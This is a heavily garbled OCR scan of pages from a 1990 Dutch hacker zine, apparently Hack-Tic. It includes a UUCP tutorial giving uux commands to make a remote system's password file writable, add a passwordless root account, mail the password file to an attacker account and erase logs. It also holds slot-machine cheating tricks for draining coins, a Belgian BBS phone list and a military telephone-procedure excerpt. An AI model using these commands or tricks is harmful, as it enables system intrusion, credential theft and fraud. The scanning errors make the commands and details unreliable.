staan in fusr/libfuveplfocommands, op somenige sysiemen heet het bestand Permissions.

Nir zijn echter nog steeds leuke dingen met uux te doen, do sysicembeheerder heeft sl alteca
die dingen afgesioten die HIY gevaarlik vindt...(denk cr aan, JLI bert con hacker, RLLY sict, JT)
bent slim, vasihoudend, creaticf, HI) hteft ecnsanle baan als sysmanager, ok einde pep-ialk, we
gaen verder) Ok, sted Je zit op een idesal sysiccim, 1001 is con baviaan met maar ¢en hersenbelft
en cen nauwelifks meetbaar 10, de wicico-deamon heeft rootprivs, ea alle commando’s voor
uucp siaan open, je doed dan het volgende :

uux Pentagon 777 fatc/pasavd

(je reaakt de passwd-file beschrijfbaar)

uax echo toors1010s1/:/bin/ah >> feto/passwd

(je vocgt een extra gebruiker toor toe met root-prive, zonder password) Dk verhaal geat
bijna nooit op, omdat de meeste sysmasagers cen hoger I hebben dan 10 (sommigen komen
tot 20..), dus moeten we wal anders proberen, bijvoorbeckd: :

uux Pentagonimail Simpesonihacker < fetc/passwd

Hicrmee stwur je het passwdfile vas Pentagon als mall naar de gebrwker hacker op systeem
Simpson {het is in de praktijk san te raden cen andere uscrnane ie gebruken). Al je uux
gebruskd, zend UUCP je automatisch mnil met de stand van zaken, dus ket is een goed idee om
de logfiles te checken om eventuele sporen die je hebt achlergelaten te wissen Mocht je ooit
cen bericht ontvangen in de trant van |
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Fromuucp Sat Dea 14 231¢12: 15 EDT 138%
>Fromuucp Sat Dac 24 23112113 EDT 190%
remote frem Pantagon
Btatuwi RO nuxgt cmd {oat ) status {DENIED)
Dan betekent dat dat e aan uux de opdracht hebt gegeven om cen illigan] commando vit 1c
voeren op ecn remoie sysicemn [ tak,izk).
De syntax van vux is:
ouX [opties] coomando
pux opties zijn :
-8 <user> stourt <user> een bericht als unx klaar is.
=b stuurt error-mesages naar het standsard output-decive
-a Copieert de file(s) NIET naar de spool-dir, asnbevolen als ef de kans bestaat dat er men-
sen in de spool-dir gaan glurea.
-g <letter of nvmmer> Hiermee zct je de prioclicit van de transfer vast. (Hoe lager hel
nummer of cljfcr, hoc hoger de prioclteit) -g3 is dus snelfer dan -g7.
-3 Print het UUCP job-nummer. Allcen handig als jo gaat spelen met de job-gueuc’,
-0 o matl, stuurt je geen mall als er lets misgaat. et dexe aan als je peen peivs hebl om de
mall-logs te verandoren.
-p Gcbruikt de siandaard input op ket remote systeem.
-r Zzt de cpdrachi in de quone, maar start nog set de suclco-deamon op.
~s<bestandwnaam> Stuur de insfer-statusmessags naar bestand <bestandsnaam >.
~%<0. . 9> Hicrmuoe siel jo het debug-Jevel in.  BSI) heeft nog iwee extra oplies :
-I mankt een link van het origimele file naar de spool-dir
-L start de vucico-deamon op

uustat & uulog

Uustst en uvlog zijn twee programma't dle UUCP-opdrachten (‘Jobs’) op kunnen sporen,
comtroleren en loggen. Unsiat geeltin een regel per opdrachi de status weer (klaar of nog bezig).

Als je eon uustat op vraagt krijg Je meestal icis als dit te zien :
1001 grandma Cert 10/31-0%145 10/31-10115 JOB I3 QUEUED

1002 grandma Cert 10/30-08115% 10/30-11125 COPY FINISHED

Waarbij in de cerste regel 1001 staat voor het job-nemmeer, grandma voor de user en Cerl
voor het systcem dan komen nog de start-1ijd, de siatus-1ljd en de job-status,

uulog doet helzeNde ak uustal, maar geeft nog meer info, het volgt o.a. de status van je jobs
als z& door het systeemn heen racen.

MNatuurlijicis dit nog lang néet alles wat UUCP betreft, maarde rest Izal ikaar jo eigen fantasic
encreativilelt over, anders isergeen lol meerann, nictwaar. Bij twijfel, panick ¢n onwelendhekd:
even gluren in man {bljea oversl sanwezig). man <commando/programmac geelt je alle
informatic over dat programma of commando. In een volgend artiked zal ik (ale i zin heb) wal

vitleggen over andere handige UNIX-features zoals telnet, fip, titp en rsh. Vooriopig kun je
echter al de hele wereld rond met UUCE, dus goede rels...

Bart Simpson lor president [
The Dude

Informeticbronnen:
® Unix Programmers Manual
@ a Hacker's guide 0 UUCP by The Mentor (LOD)
® Unix sse and security from the grovnd up by The Frophet
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Belgische BBSen

De Gacontrolesrde BBSIjat van Belgie, gekilg: Cktober 1800. Maandslljke gepubil-
caerd, gebrulk alild ALLEEN de alleriaatste ultgavel! Fllsnames: BBSLLIST.mnd A BLHLA-
QEmnd (o), BESLIJST. Ann (samen, geARCY) Zle BBSLUST.DOC voor Informatie aver
het junctioneren van de BBSEst... Gebruik ALTLID BBSLLIET. FRM om aanmsidingen en
wilzigingen doar te gevenl Samenstaller: Asjen Lentz (Sysop AINEX-RBES); Langegracht
78, Amecstfoort COPYRIGHT (C) 1988-1980 *** Overname (MET bromvarmelding) In
ONGEWWZIGDE vorm aliesn na tosstemming van de asmaenatelier. De samenstelier
aanvaardt gesn enkele aanapr. voor svt. opgetraden fouten.

Legende:  [a]V21{300)  [bIV22(1200) ([o]V22bis{2400) [d]V23(1200/75)
[e]Va2 [HIv42(bis) [HHST [PIPEP [n]|MNP Clase n
Lijninto; BBSSEN: TELEFOON: SYSTEM OPERATOR: NODE:
ho...... Alblon BBS 014-226633  Jorsf Schildsmans 202/400
abo.o..5 Aquarius BBS 03-2357104  Tony Van den Bogaen 2095/43
aboe..5 B85 C.08.0 011-223763  Yvo Custers <R%/AT
abo..H.5 BBS D.CV.V. 011-5886820  Luo Schoots 28/28
abo....5 BBS Med-Mal H.Q. 02-6807516  Jan Degryse 295/100
abc..... BRAK BBS DB0-370735  Eddy Fallet 206/32
abo...... Cactus FritNel 091-304826  Mariin Wehlou 205/51
abo.e..5 CIS BBS 03-2210376  Karel Peelers 285/45
abo.e..8 CoCo's BE3 011-658770  Willy Breposis 2021
aboe...B5 DDX Soft 053-67230 Danny De Keuleneire 206/64
abo...... Ghelco BBE 094-510048  Glen Heuker 2056/20
abo..H.5 HCC(B) Belglum 03-3536348  David Gevaeris 513711
abd..... HCC{B) 1M gg 03-6587722  Staf Weyls 513/10
abg..0. HCCE) Rupel Link 03-8770709  Paftriok Coaman 51313
abo..H.E8 Horae Power 03-2355144  Fene Qustin 265727
abo.H8 H.SP. 011-581344 Guy Cerulla 255733
sbd... Istar Machelen 015-421835  Jullen van Huyck 2011
5. P2 X Brixius 02-2693852  Frank Veratrasion 2801
abao...... Uimburg Centras 011-33181 Filk Habax 265/41
abg..... NILA-BBS 03-4819763 Ben Van Looy 205/48
abed..... Opus LM.AN. 03-3137460  Fernand vid Schoor 205/4
abe..... Cpus Magnum 03-4550768  Jan Spoaren 205120
abe...... RAT Datatank (3-2338928  Patrick Freyassen 295135
gbe..... Remote Access Support 051-241352  Benolt De Guiiroy 20%5/68
abo..H.B S-Teamn 03-4551655  Louls Van Gesl 28513
abo...H.5 Starline System 02-7693043  Patilo Roteasdt 205/48
abe...... The Cormoran BBS 015520279  Alax Cleynhens 202/500
abo..... The Wid1! 018-446470  Bruno Wolfe 2921801
abo.s..5 Tripod BBS 011-762628  Johan Zwiskhorst 202100

Let op dw onine-tjdenl -= ONLINE: Ondersiaandes BBGean xi{n NIET 24 uur opant
abd.... Opus BELL-ECQ {22-08) 03-4842060  Erlk de Schrijver 28/6
ab....... Tandy Club (22-08) 060-315278  Lucien Pyra 20/22
abo..... Foibldden Cly (22-08) 03-2343780  Kin-Shing Tohang 265/50
abed..... The Plonger {14-08) 087-205273  Johan Vanasvenant 28/25
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Frultautomaten Gehackt

door Xokum 3

Frultautomaten zijn, als je niet
beter weet, de besle manler om je
geld kwijt fe raken. Keurlg gepro-
grammeerd o een vasigesield per-
centage van het Ingewerpen geld aan
het spelende publick terug te geven,

Gelukkig is bet niet zo simpel: er
zijn slordigheidjes in het ontwerp
van sommige kasten en dus zijn er
nogal wat truukjes om het compwter-
"tocval’ een handije te helpen.

Het is hier natuurlijk niet de be-
doeling, om mensen verstaafd te ma-
ken aan de gokkasl, maar het is wel
leuk om te weten wat je ermee kunt,
Daarom volgt hier een wilde greep
uit de trukendoos van “twee hoog,
twee breed®, beter bekend als mijn

broertje.

A
VENTURA W
Bonwjaar: juli *89/sept "89 - e e

Eigenlifk geen lruuk masr ecn = W%

fout, als je op de eerste rol een "V"
krijgt, en op de tweede rol een kers.
Dan mag je ap de derde rol zowel
cen kers als een "V krijgen. Dit le-
vert je 100 punten op.

SUPER-MATRIX

Bowwjaar: februarl *88/juni '88
Als je bezig bent in de meloenen-
malrix, en er wordt je gevraagd of je

45

het punten aantal wilt verdubbelen,
druk dan op de kaop verdubbelen. Is
dit goed (en verdubbelt je punten
aantal), houdt dan de knop inge-
drukt, je punten aantal zal dan stij-
gen tot 200.

VICTORY

Bouwjaar: augustus '89

Stel dal je in de linker bovenhoek
een “victory™ teken krijgt (groen), en
je houdt dit vast, als dan rechts crvan
op dezelfde hoogte ook zo'n teken
vall, maar dan in het rood, wordt je

kast gek. Alle "victory” tekens zullen

Hack-Tic $#11-12/1990




dan voortaan groen in de matrix ver-
schijnen. Je hebt dan geen kleurver-
schillen meer, dit betckent dat je de
matrixveel sncller vol hebt, endusde
punten eerder tot je versiaalde
handjes ter beschikking staan,

RANDOM RUNNER

Bouwjaar: nov. *88/lanuari "89

Werp 'n vijf-gulden munt of twee
rijksdaalders in en gok tot je 16 pua-
ten hebt. Druk vervolgens op start,
en houdt deze ingedrukt. Zet au de
kast uit, niet met de geisolecrde tang,
maar met het speciaal voor ons ont-
worpen schakelaartje (meestal ach-
terop de kast) of met de stekker,
Nadat het apparaat 10 scc. lang al
zijn dynamische rammetjes heeft
mogen legen, zcl je hem weer aan.
Let niet op de vreemde lampjes die
gaan branden, want de kast moet ge-
woon even booten. Na 5 sec. kunt je
je de gelukkige bezitter noemen van
200 punten,

RANDOM RUNNER

Bowwjaar: oktober '89

Bij deze truuk is het belangrijk dat
je nog tenminste 1 punt hebt. Je
houdt herstelfinnen ingedrukt, zet
de kast it en aan, wachi 1ot de kast
nict mecr gek knippert, en druk op
start, Bt voila 100 punten {drie ster-
ren).

En dan nu het klapsiuk:

Hack-Tic #11-12/1990

DISCOVERY

Bouwjnar: feb/apr '89 (2° versie)

Net zolang gokken totdat je drie
dezelfde krijgt. Nu mag je gokken (je
kent het wel, dat irriterende kop,
munt, kop, munt, ko....). Gok rustig
een tijdje, en als het weer tijd is om
de startknop in te drukken doe je het
volgende: Houdt hersiel/inncn inge-
drukt, en druk op start. Er zullea nu
3"V*s valien, op zich al heel leuk (20
punten), maar we zijn cr nog niel.
houdt herstelfinnen nog steeds inge-
drukt, en druk op uvitbetalen. de kast
zal vervolgens een acute allergie
gaan vertonen voor geld, en dan ook
elk muntstuk deponeren in jouw por-
tomonee. Ha Ha!l!l Op ecn gegeven
ogenblik is de kast leeg en zal het
lichtje “bijvullen” gaan branden. Nu
wordt het oppassen. Heb jo genoeg
geld: Smeer ‘em dan, Wil je nog iefs
meer, dan wordt het link. Jc gaat
naar de barman en vraagt hem of hij
de machine bij wil vullen. Op zich
niels mis mee, maar de gokkast in
kwestie is nog steeds allergisch voor
geld, enzal dus sl het geld....., je raad
het al, dit is een kwestic van sekon-
den voor dat de barman doorheefl
dat hier icts nict klopt. Oppassen
dus.

Dan resten nog een paar algeme-
ne truukies, werken lang nict by elke
kast.

Het klaar laten kemen van een
gokkast, cok wel: Het vingeren. On-
der de rollen en de knoppen, zit het
inmiddels fameunse geldbakje. Het
geld gaat door ecn kokertje de bak



o

in. Aan het einde van de buts zt cen
soort telmechanisme (meestal een
dun stalen draadje). Wat gebeurt er
nu Wanncer we met onze vingers
cven wal tegen het stalen draadje
duwean? Juist, dan valt er geld uit de
kast. Nog even dit: je hebt verschil-
lende buizen voor de kwartjes, de
guldens, enz. . Het is dus zaak om de
vijfjes pijp, of de knaken pijp te trig-
geren.

Het vonleen met een electrische
aansteker. Dit werkt dusecht! Je kan
het beste de metalen rand om het
glaswerk waarachter de rollen zich
bevinden, "bevonken®. Mind you: de
kast vindt dit niet leuk en kan soms

kuren gaan vertonen, of erger nog,
doodleuk het loodje degpen. Oppas-
sen dus.

Ter afsluiting nog even dit. Som-
mige speclhallen staan uitbetaling
alleen toe als er een personeelslid bij
staat, dus check dit eerst even voor-
dat je een kwartier lang naar cen
stekker gaat lopea zocken. Verder
staan de randomrunners in Amster-
dam al op wieletjes, dit maakt de
stekker danwel de schakelaar nog
makkelijker bereikbaar.

Mocht je zelf leuke trunkjes we-
ten: schrijf ze naar Hack-Tic!

Audio naar telefoon en vice-versa

We krijgen nog wel eens vragen van mensen die ecn audio-signaat op de
telefoonliju willen zetten of dic juist het geluid van de lelefoon op bun stereo
willen hebben, Als je bij deze ondermeming echéer nict goed op je tellen past
kun je je stereoinstallatie of computer tamelijk spectaculair naar de ecuwige
jachtvelden helpen. Zo zou het beter moeten gaan,

Heb je verder nog verzoekjes voor schema’s dan schrijf je ze maar....

Billsf

47k02

1uF/20V Andio In/Uit
L 4

Haakcontact

L

kil
rrer

3

Transformator:
2 x 600 12 AC-
impedantic.

Q1, Q2: BC547,
B{548 of BC337
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1.3

1.4

DIENSTGEHEIM

VEILIGHEID

OM VEILIGHEIDSREDENEN IS HET NIET TOEGESTAAN OVER
HET MILITAIR DIENSTTELEFOONMET, HET ASCON EN HET

- OPENBARE TELEFOONNET IMFORMATIE MET EEN HOGERE

CLASSIFICATIE DAN DIENSTGEHEIM uIT TE WISSELEN.

MiNIMIZE

BETEKENIS:

MINIMIZE BETEKENT HET BEPERKEN VAN TELEFOONVERKEER,
GERICHT OP HET ONTLASTEN VAN OVERBELASTE TELEFOON-
SYSTEMEN OF - SYSTEEMDELEN, IN GEVAL VAN BIJZONDERE
OMSTANDIGHEDEN .

CRITERIA:

ALVORENS IN MINIMIZE-OMSTANDIGHEDEN EEN TELEFOONGESPREK
TE VOEREN MOET HET VOORNEMEN AAN DE VOLGENDE CRITERIA
WORDEN GETOETST:

" [AL DOOR HET NIET OF LATER VOEREN VAN HET TELEFOONGESPREK:"

“ A, IN_VREDESTIJD EN IN BUITENGEWONE OMSTANDIGHEDEN:
" 1 DE UITVOERING VAN DE MET DE HEERSENDE BIJZONDERE

" SITUATIE VERBAND HOUDENDE OPERATIES DIRECT OF

" INDIRECT NADELIG WORDEN BEINVLOED 7

. 2 DE UITVOERING VAN HET NORMALE DIENSTVERLOOP OP

" NIET ACCEPTABELE WIJZE NADELIG WORDEN BEINVLOED 7

B. IN OORLOGSTIJD

" DE UITVOERING VAN DE OPERATIES DOOR NATIONALE OF
" NAVO-EENHEDEN DIRECT OF INDIRECT ERNSTIG NADELIG
" WORDEN BEINVLOED 7

PAs ALS HIERBOVEN OMSCHREVEN TOETSING BEVESTIGEND
WORDT BEANTWOORD, MAG TOT HET VOEREN VAN HET
TELEFOONGESPREK WORDEN OVERGEGAAN.
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